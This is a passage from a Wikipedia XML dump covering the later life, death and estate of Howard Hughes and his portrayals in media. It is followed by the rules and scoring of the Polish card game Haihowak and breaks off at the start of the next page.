Hughes by this time had become severely addicted to [[codeine]], [[diazepam|valium]], and a number of other painkillers and was becoming increasingly frail. Many biographies and fictionalized works have reported that he stored his [[urine]] in jars and wore [[Kleenex]] boxes as shoes, although it has been reported that he only did the latter once, as &quot;protection&quot; when a [[toilet]] flooded. He insisted on using paper towels to pick up objects, so that he could insulate himself from germs. Hughes had contracted [[syphilis]] as a young man, and much of the strange behavior at the end of his life&amp;nbsp;&amp;mdash; his well-documented aversion to handshaking, for example&amp;nbsp;&amp;mdash; has been attributed by modern biographers to the tertiary stage of that disease. The condition first manifested itself in the form of tiny blisters that erupted on his hands. After receiving medical treatment for his symptoms, Hughes was warned by his doctor not to shake hands for some time, and he avoided doing so for the rest of his life. His syphilis was also indirectly responsible for a bizarre episode in which Hughes burned all his clothes. (In the film ''[[The Aviator]]'' (2004), this incident is depicted as his response to his breakup with Katharine Hepburn. In reality, it was an overreaction by Hughes to the syphilis diagnosis; fearful of the germs which might be lingering on his clothing, he torched his entire wardrobe as well as every piece of linen in his house.)

==Later years==
[[Image:Time-magazine-cover-1976-howard-hughes.jpg|thumb|Hughes' eccentricities have fascinated the public for years. ''Time'', 1976]]
The elderly Howard Hughes moved with his entourage from hotel to hotel and from [[Beverly Hills, California|Beverly Hills]] to [[Boston, Massachusetts|Boston]] before deciding to move to [[Las Vegas, Nevada|Las Vegas]] and become a casino baron.  Less than a month after his November 27 1966 arrival, Hughes had made a public offer to buy the [[Desert Inn]] where the whole eighth floor had become the nerve center of his empire and the ninth floor penthouse had become Hughes's personal residence.  Between 1966 and 1968, he also purchased several other hotels/casinos ([[Castaways]], [[New Frontier Hotel and Casino|New Frontier]], [[The Landmark Hotel and Casino]], [[Sands Hotel|Sands]] and [[Silver Slipper]]) from the [[Mafia]], transactions which ultimately ended mob control of the city's hotels and casinos. Hughes wanted to change the image of Las Vegas from its mobsters in gaudy silk suits and thousand-dollar-a-night callgirls to a more glamourous image.  As Hughes wrote in a memo to an aide: &quot;I like to think of Las Vegas in terms of a well-dressed man in a dinner jacket and a beautifully jeweled and furred female getting out of an expensive car&quot;.  

A chronic [[insomnia|insomniac]], Hughes bought several local [[television stations]] (including [[KLAS-TV]]) so that there would always be something for him to watch in the early hours of the morning. 

Hughes' considerable business holdings were overseen by a small panel unofficially dubbed &quot;The [[Mormon]] Mafia&quot; on account of the many [[Latter-day Saints]] on the committee. In addition to supervising day-to-day business operations and Hughes' health, they also went to great pains to satisfy Hughes' every bizarre whim. Hughes once took a liking to [[Baskin-Robbins|Baskin Robbins]]' [[banana]]-nut [[ice cream]], and his aides sought to secure a bulk shipment for him only to discover that Baskin-Robbins had discontinued the flavor. They put in a request for 350 [[gallon]]s, the smallest amount the company could provide for a special order, and had it shipped from [[Los Angeles, California|Los Angeles]] to Las Vegas. A few days after the order arrived, Hughes announced he had grown tired of banana-nut and only wanted vanilla ice cream, with the consequence that the Desert Inn ended up distributing free banana-nut ice cream to casino customers for a year before the 350 gallons were gone. 

Having bought up many of Las Vegas's major businesses, Hughes wielded enormous political and economic power in Nevada and was often able to influence the outcome of elections and ballot votes. He even once ordered his aides to offer $1 million each to presidents [[Lyndon B. Johnson]] and [[Richard Nixon]] if they would shut down the open-air [[nuclear weapon]]s testing program in Nevada (Hughes was afraid of the risk posed by the residual [[Ionizing radiation|nuclear radiation]]). His aides never offered the bribes, reporting to Hughes that Johnson had declined the offer, and that they had been unable to contact Nixon.

As his health deteriorated due to untreated OCD and abuse of prescription drugs, Hughes moved around to [[Bahamas|the Bahamas]], [[Vancouver, British Columbia|Vancouver]], [[London]], and several other locations, always taking up residence in the top floor penthouse of his hotel.  On the pretext of possible assassination attempts and intrusive press photographers, his aides insisted on having the windows blacked out. Many of the hotels in which he stayed were forced to undergo major renovations to repair the damage Hughes had caused to the premises. 

In 1971, he divorced [[Jean Peters]]; they had been living apart for several years. Peters, who initiated the divorce proceedings requested a lifetime [[alimony]] payment of $70,000 a year, adjusted for inflation, and waived all claims to Hughes' estate. The surprised Hughes offered her a settlement of over a million dollars, but she declined it, and Hughes then surprised his aides by not insisting upon a [[gag order|confidentiality agreement]] from Peters as a condition of the divorce; aides reported that Peters was one of the few people Hughes never spoke ill of. Peters refused to discuss her life with Hughes, and declined several lucrative offers from big-name publishers and biographers. She would state only that she had not seen Hughes for several years before their divorce as his psychological problems forced him to stay in a seperate room and converse with Peters by phone only.

According to some [[Watergate affair|Watergate]] historians, the infamous 1972 burglary of Democratic headquarters in Washington, D.C. was ordered by [[Richard Nixon|President Nixon]]'s aides with the intention of recovering potentially damaging papers documenting payments from Hughes to Nixon and establishing an apparent connection between Hughes and the Democratic Party ([[Larry O'Brien]], the [[Democratic National Committee]] chairman whose office was broken into, had been a paid lobbyist for Hughes since 1968).

In 1972, author [[Clifford Irving]] created a media sensation when he claimed to have co-written an authorized [[autobiography]] of Howard Hughes. Hughes was such a reclusive figure that he hesitated in coming out to publicly refute Irving's statement, leading many people to place faith in the truth of Irving's claim. Prior to the book's publication, however, Hughes (in a rare telephone conference) finally denounced Irving, and the entire project was eventually exposed as a hoax. Irving later spent fourteen months in jail.

==Death and burial==
Hughes died on [[April 5]], [[1976]], at the age of 70 while en route on an airplane from his penthouse in Mexico to Methodist Hospital in Houston. Years of severe neglect had made him practically unrecognizable, and the [[Federal Bureau of Investigation|FBI]] had to resort to [[fingerprint]] identification to identify the body. A subsequent [[autopsy]] noted [[renal failure|kidney failure]] as the cause of death even though Hughes bloodstream showed 1.9 micrograms of codeine, a dose more than fatal and significant amount of Valium. Hughes was in extremely poor physical condition at the time of his death; X-rays revealed broken-off hypodermic needles still embedded in his arms and severe malnutrition. Howard Hughes is interred in the [[Glenwood Cemetery (Houston, Texas)|Glenwood Cemetery]] in [[Houston]]. 

== Estate ==
[[Image:Time-magazine-cover-1976-howard-hughes-2.jpg|thumb|''Time'' cover depicting a late-life Hughes, on the occasion of his death in 1976]]
After Hughes' death, an intensive search began for his [[will]], but one could not be found. Speculation became rampant that he may have written a [[holographic will]]. A holographic will was soon found on the desk of an official of The [[Church of Jesus Christ of Latter-day Saints]] in [[Salt Lake City, Utah|Salt Lake City]]. The &quot;Mormon Will&quot; gave a gas-station owner named [[Melvin Dummar]] a 1/16th share of Hughes's $2 billion estate. Dummar, who had appeared on ''[[Let's Make a Deal]]'', among other [[game shows]], claimed to reporters that late one evening in December 1967, he found a disheveled and dirty man lying along [[U.S. Highway 95]], 150 miles (250 kilometers) north of [[Las Vegas, Nevada|Las Vegas]]. The man asked for a ride to Las Vegas. Dropping him off at the [[Sands Hotel]], Dummar said the man told him he was Hughes. In a trial presided over by District Court Judge Keith C. Hayes, the Mormon Will was rejected by the [[Nevada]] court in June 1978 as a forgery. The court also declared Hughes died [[intestacy|intestate]].

After saying he knew nothing about the Mormon Will, mounting evidence forced Dummar to admit that he lied. He claimed a &quot;mysterious man&quot; gave him a document with instructions to deposit it at the LDS office. The Mormon Will was one of 40 &quot;wills&quot; filed by 400 people claiming to be Hughes's heirs. The estate was eventually split between 22 cousins in 1983. ''[[Melvin and Howard]]'' starring [[Jason Robards]] and [[Paul Le Mat]] is based on Dummar's tale. 

A 2005 book titled &quot;The Investigation&quot;, written by retired F.B.I. Agent Gary Magnesen, supports Dummar's claims and brings to light three new witnesses.  John Meier, a former Hughes employee entrusted with the purchase of various mining properties, stated that Hughes left the Desert Inn Hotel on different occasions to visit mine sites in the same general area where Dummar claims to have picked up Hughes.  

Guido Roberto Deiro, a former pilot for Hughes Tool Company, stated that between Christmas and New Years during 1967 he flew Hughes in a Cessna 206 to a brothel called the Cottontail Ranch located in the same general area where Dummar claims to have picked up Hughes.  While waiting for Hughes, Deiro fell asleep and later awoke only to learn that Hughes had left the Cottontail Ranch a few hours earlier.  Unable to locate Hughes, Deiro eventually flew back to Las Vegas alone, and learned later that Hughes somehow had made it back to the Desert Inn.  

The third witness is Howard Harrell, the widower of Madam Beverly Harrell, who ran the Cottontail Ranch in 1967.  Howard Harrell stated that his wife had told him of Hughes' visits to the Cottontail Ranch.  Beverly Harrell had wanted to come forward during the &quot;Mormon Will&quot; trial, and testify that Howard Hughes had been in the same general area and same time that Dummar claimed to have picked him up in the desert.  Howard Harrell stated that he convinced his wife not to come forward during the trial since it might bring unwanted publicity.  The location where Dummar claimed to have picked up Hughes is 6 miles south of the Cottontail Ranch.  

Although it now appears that the &quot;Mormon Will&quot; may very well have been authentic, it is too late to change the verdict in the original trial since the statute of limitations has long since expired.  The [[Supreme Court of the United States|U.S. Supreme Court]] ruled that Hughes Aircraft was owned by the [[Howard Hughes Medical Institute]], who sold it to [[General Motors]] in 1985 for $5 billion. Suits brought by the states of California and Texas claiming they were owed inheritance tax were both rejected by the court.  

In 1984, Hughes' estate paid an undisclosed amount to [[Terry Moore (actress)|Terry Moore]], who claimed to have been secretly married to Hughes on a yacht in international waters off [[Mexico]] in 1949 and never divorced. Although Moore never produced  proof of a marriage (and married five more times, while Hughes married Jean Peters), her book, ''The Beauty and the Billionaire'', became a best-seller.

The original childhood home of Hughes currently serves as a [[landmark]] building at the [[University  of St. Thomas (Houston)|University of St. Thomas]], where it currently houses the [[Theology]] offices for the University.

==Factual media portrayals==
===Books===
* George J. Marrett - ''Howard Hughes: Aviator'' (2004) ISBN 1591145104, Naval Institute Press
* Richard Hack - ''Hughes: The Private Diaries, Memos and Letters : The Definitive Biography of the First American Billionaire'' (2002) ISBN 1893224643
* Peter Harry Brown and Pat H. Broeske - ''Howard Hughes: The untold story'' (1996) ISBN 0525937854, Penguin Books
* Robert Maheu and Richard Hack - ''Next to Hughes: Behind the power and tragic downfall of Howard Hughes by his closest adviser'', HarperCollins (1992)
* Michael Drosnin - ''Citizen Hughes: In his own words, how Howard Hughes tried to buy America'', Broadway Books
* Donald L. Barlett and James B. Steele - ''Empire: The Life, Legend and Madness of Howard Hughes'' (1979) ISBN 0393075133 Republished in 2003 as ''Howard Hughes: His life and madness''
* Terry Moore - ''The Beauty and the Billionaire'', New York (1984).
* Terry Moore and Jerry Rivers - ''The Passions of Howard Hughes''. General Publishing Group (1996)
* James Phelan - &quot;Howard Hughes: The Hidden Years&quot;. Random House (1976)
* Jack Real - &quot;The Asylum of Howard Hughes&quot;, Xlibris Corporation (2003), ISBN 1413408753
* Ron Kistler - &quot;I caught flies for Howard Hughes&quot;, Playboy Press (1976), ISBN 0872234479

===Movies===
* ''[[The Amazing Howard Hughes]]'' (1977), directed by [[William A. Graham]] and starring [[Tommy Lee Jones]] as Howard Hughes.
* ''[[The Aviator]]'' (2004), directed by [[Martin Scorsese]] and starring [[Leonardo DiCaprio]] as Hughes. Nominated for 11 [[Academy Awards]], and winning five, the film takes the usual bio-pic liberties (Ella Rice is not seen or mentioned although Hughes was married to her during the making of &quot;Hell's Angels&quot;). The film focuses primarily on Hughes's achievements in aviation and in the movies and on the increasing handicap his [[obsessive-compulsive]] behavior represented in his 30s and onwards.

==Fictional media inspirations==
The following [[fictional character]]s appear to have been, at least in part, patterned after Hughes:

*&quot;Willard Whyte&quot; of the [[James Bond]] [[film]] ''[[Diamonds Are Forever]]''
* ''[[Tony Stark]]'', a wealthy inventor and industrialist who becomes Marvel Comics's [[Iron Man]]. 
*&quot;[[Charles Foster Kane]]&quot; of the [[Orson Welles]] film ''[[Citizen Kane]]'' is widely believed to be patterned after [[William Randolph Hearst]], but some have suggested that Welles drew inspiration from Hughes' life as well.
* ''[[The Simpsons]]'' episode &quot;[[$pringfield]]&quot; in which [[Montgomery Burns]] exhibits Hughes's OCD, including wearing tissue boxes on his feet, moving into a hotel penthouse, allowing his hair and nails to grow untrimmed, and creating an aircraft called the &quot;[[Spruce Moose]].&quot;
* In [[The Disney Afternoon]]'s ''[[TaleSpin]]'', the characters join a group of businessmen for a dinner on the main deck of the moosehead-shaped seaplane, the &quot;[[Spruce Moose]]&quot;, built by a reclusive hippopotamus with Hughes's characteristic mannerisms.
*&quot;S.R. Hadden&quot; of the [[Carl Sagan]] novel ''[[Contact (novel)|Contact]]'', and the 1997 [[Robert Zemeckis]] film of the same name.
*&quot;Jonas Cord&quot; in [[Harold Robbins]]' novel ''[[The Carpetbaggers]]''
*&quot;Howard Lockwood&quot; in the [[Lupin III]] [[film]] ''[[Mystery of Mamo]]''
*Portrayed by Terry O'Quinn in [[Walt Disney Productions|Disney]]'s ''[[The Rocketeer]]'' (1991), substituting for the &quot;mystery inventor&quot; ([[Doc Savage]]) in the original [[comic book]] version.
*Hughes appears in an episode of the [[television|TV]] Series ''[[Dark Skies]]''
*''[[Saturday Night Live]]'' presented a comedy sketch portraying Hughes and his eccentric activities.
*Hughes appears in [[James Ellroy]]'s political crime novel ''[[American Tabloid]]'', and sequel ''[[The Cold Six Thousand]]''.
*[[Steven Carter]]'s novel ''I was Howard Hughes'' is a &quot;picture of a Hughes who might have been.&quot;
*[[Dean Stockwell]] plays Hughes in the [[Francis Ford Coppola]]'s [[biopic]] of automaker [[Preston Tucker]], ''[[Tucker: The Man and His Dream]]''. The film introduces Hughes as a potential investor of Tucker's [[automobile]] line, although such claims are unsubstantiated.
* ''[[Melvin and Howard]]'' was spoofed on the [[sketch comedy]] series ''[[Second City Television|SCTV]].''
* The [[Sam Shepard]] play Seduced features a character named Harry Hackamore, modeled after Hughes. Incidentally, a 1982 production of this play in London landed actor [[Ian McDiarmid]] the role of [[Palpatine]] in the Star Wars films, as it showed that the then 37-year old actor could convincingly play much older characters.
*In William Gibson's seminal science fiction novel [[Count Zero]] the key villain, industrialist Josef Virek, is identified with Hughes with respect to his wealth and reclusive nature. One character (Andrea) likens Hughes to 'a proto-Virek'.
*The character of Horace Derwent in [[Stephen King]]'s [[The Shining]] is partially based on Hughes. The fictional Derwent was a millionaire aviator and producer during the 1930's and 40's, and even takes credit for the design of a strapless bra worn in one of his movies.

&lt;!-- Do not list &quot;The Aviator&quot; here: it is not fiction. It has already been included in factual portrayals above. Thanks. --&gt;

===Music===
* [[Leadbelly]] composed a [[folk music|folksong]], &quot;Howard Hughes&quot;, which accompanies the final credits of the film ''The Aviator''.
* [[The Boomtown Rats]]  released the song &quot;Me And Howard Hughes&quot; on their record ''Tonic For The Troops'' in 1978.
* The band [[Kansas (band)|Kansas]] did a song about Howard Hughes, which they named &quot;Closet Chronicles&quot;.  It was originally on their album ''[[Point of Know Return]]''.
* Rick Nelson alludes to Hughes in his 1972 hit &quot;Garden Party&quot;: &quot;Mr. Hughes hid in Dylan's shoes wearing his disguise&quot;.
* The British [[progressive rock]] band [[Genesis (band)|Genesis]] mentioned &quot;Howard Hughes in blue suede shoes&quot; in their song &quot;Broadway Melody of 1974&quot;, part of the album ''[[The Lamb Lies Down on Broadway]]''.
* The British [[shoegazing|shoegazer]] band [[Ride]] mentioned Howard Hughes in their song &quot;Castle on the Hill&quot;[http://www.ticket2ride.it/discog/tarantula.htm] In addition, they have a song titled &quot;Howard Hughes&quot; on their 1992 CD single ''Twisterella''.
* The song &quot;Reward&quot; by British band [[The Teardrop Explodes]] includes the line &quot;Live in solitude like Howard Hughes&quot;.
* [[Jerry Cantrell]], on the album ''Degradation Trip'', wrote a song titled &quot;Bargain Basement Howard Hughes&quot;. However, the song is actually about his former [[Alice in Chains]] bandmate [[Layne Staley]]. The final verse mentioned, &quot;Often heard, seldom seen, Bargain Basement Howard Hughes, Hermit phase, a woodshed rage, these days headlines are few.&quot; Cantrell also made another Hughes/Staley reference on the Degradation Trip song &quot;Pig Charmer&quot; particuarly with the line: &quot;Come on in, get high / Don't mind piss-filled bottles.&quot;
* John Hartford's 1972 album ''Morning Bugle'' includes the song &quot;Howard Hughes Blues&quot; which describes his solitary life of &quot;poor old Howard Hughes and all of his blues&quot;.
* [[10cc]] namecheck Hughes in the hit song &quot;Wall Street Shuffle&quot;, with the line &quot;Oh, Howard Hughes, did your money make you better?&quot;
* [[Sole (artist)|Sole]], a notoriously [[anti-capitalism|anti-capitalist]] [[rapping|rapper]], had a song titled &quot;MC Howard Hughes&quot; on his album ''[[Bottle of Humans]]''.
*1970s Christian rocker [[Larry Norman]]'s song &quot;Without Love&quot; contains a reference to Howard Hughes.
*[[Jim Croce]]'s song &quot;[[Workin' at the Carwash Blues]]&quot; contains a Howard Hughes reference. Jim claims he is an undiscovered Howard Hughes.
*[[Stan Ridgway]]'s 1991 song &quot;I Wanna Be a Boss&quot; contains a reference to Howard Hughes as a role model for those who aspire to be eccentric, reclusive billionaires.
*Industrial outfit [[70 Gwen Party]] released a 1994 single called &quot;Howard Hughes&quot; on Snape records (cat no SR011). An alternative recording was made for the [[John Peel]] show and released in 1995 on their &quot;John Peel Sessions&quot; album.
*[[Gary Numan]] said the suited visage he used for the &quot;Dance&quot; and &quot;I,Assassin&quot; albums were patterned in part after Howard Hughes, whom he identified as one of his heroes.
*&quot;My shoes, they once were worn by Howard Hughes&quot; from ''My Place'' a song by [[Dave Stewart]] of the [[Eurythmics]] on his album ''Sly-Fi''.
*&quot;Aint No Fun (Waiting Round To Be A Millionare)&quot; by [[AC/DC]] contains lyrics at the end &quot;Hey Howard, get your fuckin' jumbo jet off my airport!&quot; 
* The [[United Kingdom|British]] [[punk rock]] band [[The Tights]] wrote a song &quot;Howard Hughes&quot; which was the title track of their &quot;Howard Hughes&quot; single.
* The [[cello]] trio [[Rasputina]] wrote a song &quot;Howard Hughes&quot; which was included in their CD ''Thanks For The Ether''; lead singer [[Melora Creager]] has an ongoing preoccupation with Hughes (see [http://www.rasputina.com/alljokes.html]).

==See also==
*[[List of America's richest people]]

==External links==
* [http://www.howardhughes.com/ The Howard Hughes Corporation]
* [http://www.hhmi.org/ The Howard Hughes Medical Institute]
* [http://www.tsha.utexas.edu/handbook/online/articles/HH/fhu60.html  The Handbook of Texas Online: Howard Robard Hughes]
* [http://entrepreneurs.about.com/od/famousentrepreneurs/p/howardhughes.htm Howard Hughes: The Aviator, The Innovator, The Billionaire] ([[About.com]] Entrepreneurs)
* [http://www.library.unlv.edu/hughes/ Welcome Home Howard: A Collection of Photos from UNLV Libraries]
* [http://www.famoustexans.com/howardhughes.htm A biography at Famoustexans.com]
* [http://www.socalhistory.org/Biographies/h_hughes.htm A biography at Socialhistory.org]
* [http://www.sprucegoose.org/ The Evergreen Aviation Museum, which houses the 'Spruce Goose']
&lt;!-- * [http://wwww.findarticles.com/p/articles/mi_m1175/is_v20/ai_4224456/print/ Howard Hughes; a psychological autopsy-includes article on Hughes' relationship with women by Raymond D. Fowler, University of Alabama psychology department] THIS LINK NO LONGER WORKS --&gt;
* [http://www.wrightools.com/hughes/ A replica of the Hughes H-1 airspeed record holding aircraft]
* [http://www.crimelibrary.com/criminal_mind/forensics/psych_autopsy/4.html?sect=21 The Mystery of Howard Hughes - a psychological autopsy]
* [http://www.crimelibrary.com/gangsters_outlaws/cops_others/clifford_irving/index.html?sect=18 Story of Clifford Irving's hoax and a Hughes biography.]
*{{imdb name|id=0400652|name=Howard Hughes}}
* [http://www.casperstartribune.net/articles/2005/11/17/news/regional/5b74bea4373bc5f6872570bb007c77f8.txt  The &quot;Mormon will&quot;]
* [http://www.talkingpix.co.uk/ArticleHowardHughes.html Howard Hughes - The Movies and the Image by Alastair Lyon]

[[Category:1905 births|Hughes, Howard]]
[[Category:1976 deaths|Hughes, Howard]]
[[Category:Aerospace engineers|Hughes, Howard]]
[[Category:American aviators|Hughes, Howard]]
[[Category:American entrepreneurs|Hughes, Howard]]
[[Category:American film directors|Hughes, Howard]]
[[Category:American film producers|Hughes, Howard]]
[[Category:American philanthropists|Hughes, Howard]]
[[Category:Aviation inventors|Hughes, Howard]]
[[Category:Aviation magnates|Hughes, Howard]]
[[Category:Aviators|Hughes, Howard]]
[[Category:Business leaders|Hughes, Howard]]
[[Category:Diabetics|Hughes, Howard]]
[[Category:French Americans|Hughes, Howard]]
[[Category:Houstonians|Hughes, Howard]]
[[Category:Watergate figures|Hughes, Howard]]
[[Category:Welsh-Americans|Hughes, Howard]]

[[bg:Хауърд Хюз]]
[[de:Howard Hughes]]
[[es:Howard Hughes]]
[[fa:هوارد هیوز]]
[[fi:Howard Hughes]]
[[fr:Howard Hughes]]
[[he:הווארד יוז]]
[[it:Howard Hughes]]
[[ja:ハワード・ヒューズ]]
[[lv:Hovards Hjūzs]]
[[nl:Howard Hughes]]
[[pl:Howard Hughes]]
[[sv:Howard Hughes]]</text>
    </revision>
  </page>
  <page>
    <title>Haihowak</title>
    <id>14060</id>
    <revision>
      <id>32240801</id>
      <timestamp>2005-12-21T14:58:15Z</timestamp>
      <contributor>
        <username>Dddstone</username>
        <id>344062</id>
      </contributor>
      <text xml:space="preserve">'''Haihowak''' (Polish name: ''hejho&amp;#322;ek'') is a [[card game]] played with ordinary [[playing card]]s. Haihowak was designed in [[Poland]] in [[1998]]. The name comes from the name of [[fruit]] [[juice]], that was being drunk during designing its rules.

Official rules of the game are nowadays managed by the [[Haihowak International Federation]].

== Rules of Haihowak ==
'''last changes: July 24, 2001'''

=== Basic information ===
Haihowak (Polish name: hejho&amp;#322;ek) is a playing card game designed on April 4, 1998 by Pawe&amp;#322; Goleniowski and Ma&amp;#322;gorzata Dulka. Two full packs of cards with 2 jokers each are used (108 cards). Number of players - from two to four. Each player gets 11 cards. Then five cards are placed on board with their front up (these unhidden cards are called &quot;open cards&quot;). The rest of cards lay on the table with their back up (they are called &quot;hidden cards&quot;).

=== Keys ===
The main and the only arrangement in Haihowak is called &quot;key&quot;. In Haihowak there are only two suits called &quot;colours&quot;: [[red suit]] ([[hearts (suit)|hearts]] &lt;font color=red&gt;&amp;#9829;&lt;/font&gt; and [[diamonds (suit)|diamonds]] &lt;font color=red&gt;&amp;#9830;&lt;/font&gt;) and [[black suit]] ([[spades (suit)|spades]] &amp;#9824; and [[clubs (suit)|clubs]] &amp;#9827;). Key is an arrangement of two or more cards of the same colour with a space of one card between every two neighbour cards. Therefore all cards in key are only even numbers or all cards are only odd numbers. Examples of keys:
* Two of Spades and Four of Spades
* Seven of Diamonds, Nine of Hearts and [[Jack (playing card)|Jack]] of Diamonds
* Ten of Clubs, [[Queen (playing card)|Queen]] of Clubs and [[Ace]] of Spades
* Ace of Diamonds, Three of Hearts, Five of Hearts and Seven of Diamonds
* [[Jack (playing card)|Jack]] of Clubs and [[King (playing card)|King]] of Spades
[[Ace]] can be used as One (card lower than Two) or as normal [[Ace]] (card higher than [[King (playing card)|King]]). [[Joker]] may substitute every card in key, but number of [[Joker|Jokers]] in key cannot exceed the half of the total number of cards in this key.

=== Possible moves ===
In Haihowak there are three types of moves possible. In single turn player can make as many moves as he want.
These are the possible moves:
*&lt;u&gt;'''Laying out a key'''&lt;/u&gt; If player has in his cards one key or more keys he can put them on the table. After that such keys don't belong to anybody. Every player can use them to make the next types of moves.
*&lt;u&gt;'''Expanding a key'''&lt;/u&gt; Player can enlarge the key that is already on the table with any number of cards (of course the key must remain correct).
*&lt;u&gt;'''Taking a key'''&lt;/u&gt; The key that is already on the table can be taken by player when he put another key on it. The second key must have opposite colour (red-black) and all spaces between neighbour cards in old key must be filled (e.g.: There is such key on the table - Three of Hearts, Five of Diamonds and Seven of Hearts. We put on that key another one - Four of Clubs and Six of Spades. After all we have - Three of Hearts, Four of Clubs, Five of Diamonds, Six of Spades and Seven of Hearts). The number of cards we can put to take the key from the table depends on the number of cards that are already in this key on the table. Usually we can put more cards - not only to fill all spaces in old key but also one or two cards on the edge (beginning or end) of that key (if we take more cards than we will score more points). Only when we want to take the key that contains only two cards we have to fill all spaces (it means - only one space!) and also put at least one card on the edge. The possible number of cards we can use to take the key from the table shows the table below:

&lt;table style=&quot;width: 40%; text-align: left; margin-left: auto; margin-right: auto;&quot;
 border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center; font-weight: bold;&quot;&gt;number of cards in the key on the table&lt;br&gt;
            &lt;/td&gt;
            &lt;td
 style=&quot;vertical-align: top; text-align: center; font-weight: bold;&quot;&gt;number of cards we can use to take that key from the table&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;2 cards&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;2 - 3&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;3 cards&lt;br&gt;

            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;2 - 4&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;4 cards&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;3 - 5&lt;br&gt;

            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;5 cards&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;4 - 6&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;6 cards&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;5 - 7&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;7 cards&lt;br&gt;

            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;6 - 7&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
      &lt;/table&gt;

=== The course of the game ===
After shuffling the cards all players get 11 cards. The player on the right of the player that dealt out the cards begins the game. During the game the queue of players' turns always goes left. The player during his turn makes as many moves as he want. If he take the key from the table then cards from that key and cards he used to take that key go to his score. After the end of the game that cards are scored as showed in the next part of this text.
When player ends his turn he takes from hidden cards as many cards as he needs to have 11 cards again. Before that he can also take only one card from the five open cards, but if he starts taking cards from hidden cards he loses this possibility.  If he took one card from open cards he after all has to add there one card from hidden cards (to make five open cards again). When there are no hidden cards then on the end of turn each player takes only one card from open cards. If there are also no more open cards player who wants to end his turn has to say &quot;how-hai&quot;. After the end of one's turn, the next player (on one's left) begins his turn.

=== The end of the game ===
There are two possibilities of ending the game. The first one is when nobody has any card (very rare situation). The second one is when all players who still have cards say they want to end the game. Player who wants to end the game has to say &quot;hai-how-hai&quot;. The game ends when all players (one by one) say so without making any move. If only one player made move in his turn, then the game is not over and to end game other players have to say &quot;hai-how-hai&quot; again (and wait until everybody agree to end the game one by one). After the end of the game players count the cards they have scored (the keys they took from the table and cards they used while taking that keys). The table below shows the number of points per card:
&lt;table
 style=&quot;width: 40%; text-align: left; margin-left: auto; margin-right: auto;&quot;
 border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center; font-weight: bold;&quot;&gt;type of card&lt;br&gt;
            &lt;/td&gt;
            &lt;td
 style=&quot;vertical-align: top; text-align: center; font-weight: bold;&quot;&gt;points&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;Two - Five&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;1 point&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;Six - Ten&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;2 points&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;Jack&lt;br&gt;

            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;3 points&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;Queen&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;4 points&lt;br&gt;

            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;King&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;5 points&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td
 style=&quot;vertical-align: top; width: 50%; text-align: center;&quot;&gt;Ace, Joker&lt;br&gt;
            &lt;/td&gt;
            &lt;td style=&quot;vertical-align: top; text-align: center;&quot;&gt;3 points&lt;br&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
      &lt;/table&gt;

The player who scored the most points wins the game.

== External links ==	
* [http://hejholek.servis.pl/english.html Information about Haihowak]
* [http://hejholek.servis.pl/ Information about Haihowak in Polish]

[[Category:Anglo-American playing card games]]
[[pl:hejho&amp;#322;ek]]</text>
    </revision>
  </page>
  <page>
    <title>Hejholek</title>
    <id>14061</id>
    <revision>
      <id>15911639</id>
